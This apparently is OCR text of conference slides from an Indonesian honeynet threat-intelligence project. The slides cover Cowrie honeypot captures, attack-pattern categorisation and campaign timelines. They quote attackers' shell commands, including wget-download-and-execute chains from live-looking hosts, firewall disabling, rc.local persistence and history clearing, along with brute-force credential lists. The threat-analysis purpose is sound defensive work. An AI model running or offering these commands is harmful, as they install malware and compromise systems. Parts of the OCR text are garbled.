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Honeypots




Honeypots

* A decoy system to lure attacker to
interact with it

* It emulates popular services, such as
Web, SMB, SSH and others

* It is placed together with other
network services

* It does not contain any useful
information



Honeypots in the network



How Honeypot works

LINUX SERVER



Indonesia Honeynet

Project (1HP)
Threat Map




Early Warning System (Honeynet Portal at BSSN)



Threat Sharing Platform

Architecture




Honeynet Threat Sharing Platform pashboard and ELK
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Exploring Honeypot

Detected Threats




Honeynet Threat Channels

Services: SSH

Services: FTP, HTTP, Memcache,
MSSQL, MySQL, SMB, TFTP, etc.

PeerlP

Loggedin

Commands

PeerlP

Attacking IP Address:
35.202.41.48

U: root
P: root

wget
http://38.68.46.110/x86;

Attacking IP address:
27.124.26.136

Connections

URL:
http://27.124.26.136:59486/tf.exe

Payload

Hash:
be7802ccf0e44b1d82567059alabf83e




Honeynet Threat Category (Cowrie) - Partial



Honeynet Cowrie Threat Example

Attacking IP Address:

35.202.41.48

Shell Command Set: (SCSXXX)

cd /tmp; wget http://37.49.224.100/zeros6x.sh; chmod 777 zeros6x.sh; ./zeros6x.sh

URLs:

http://37.49.224.100/zeros6x.sh

2 ERE

f50dad447e130d02cb8abc55b6bf7816878f276ece0ca739750adcldca7clddch

Credentials Used (multiple instances — user id : password):
root : root123 | root : p@sswOrd | root : 123 | root : password | root : 123456 | root : root




Honeynet Cowrie Threat Category Example
Threat Categories (Shell Command Set - SCSXXX)

Commands Threat Category Mitre att&ck Technique

cd /tmp Usable Directory Discovery T1083 — File and Directory
Discovery

wget Download Tools T1105, T843 — Remote File
http://37.49.224.1 Copy & Program Download
00/zeros6x.sh;
chmod 777 File Permission T1222 - File and Directory
zeros6x.sh; Modification Permissions Modification
./zeros6x.sh Execution of Tools T1059 — Command & Scripting

Interpreter
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Threat Correlation (Virustotal Graph)

IP Address
(Country)

Threats used
to attack us

$

Other Possible
Threats
in the chain
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Our Threat Sharing

Platform
(Dashboard)




Public Dashboard



Threat Category Monitoring



Threat Pattern Monitoring



Analyzing

Campaign Timeline




Every Pattern has their Campaign Timeline

Pattern Code = SCS005 — Sys Profiling & Persistence

Heavy Attack Pattern

Attack
“Campaign” is
stopped
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Every Pattern has their Campaign Timeline

Pattern Code = SCS006 — Disable FW, Tool Execution & Persistence

service iptables stop, wget http://49.233.56.165:89/ubjq, chmod 777 ubjq, ./ /ubjq, chmod 8755 /root/ubjq, nohup /root/fubjq &gt; /dev/null 2&gt;&am
p.1 &amp;, chmod 8777 ubjg, chmod u+x ubjg, ./ fubjg &, chmod u+x ubjg, ./ubjq &,6 cd /tmp, service iptables stop, wget http://49.233.56.165:89/xnj

q, ./164, chmod 8755 /froot/xnjq, nohup /root/xnjq &gt; /dev/null 2&gt Ramp;1 Ramp;, chmod 8777 xnjq, chmod u+x xnjq, ./xnjq &, chmod u+x dosb6eed,
.fxnjg &, cd /tmp, echo "cd /root/">=/etc/rc.local, echo "./ubjg&">>/etc/rc.local, echo "./xnjg&"=>>/etc/rc.local, echo "/etc/init.d/iptables sto
p"==/etc/rc.local

Attack only exists in 10 — 13 May 2020
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Every Pattern has their Campaign Timeline

Pattern Code = SCS010 — Tool Execution and Covering Track

Attack exists in 24 May to 5 July 2020

|
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Similar Attack from same Threat Actor

Attacks on July 202

Attacks on June 2020

wget http://xpodip.ir/5311gjmikurawepedalngmashrabotatuk61119123c/KigaNet.x86; chmod 777 *; ./KigaNe
1.x86 Roots;rm -rf KigaNet.x86; wget https://xpodip.ir/infectedn.sh; chmod 777 infectedn.sh; sh infe

ctedn.sh; rm -rf Kiga*; rm -rf inf*; history -c

Attacks on May 2020
cd /tmp; wget http://37.49.226.49/5311gjmikurawepedalngmashrabotatuk61119123c/infn.x86; chmod 777 =*;

./infn.x86 servers; rm -rf =%
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Our Research

Output




International Conference Paper (ICONETSI)



Questions & Answers (Q&A)



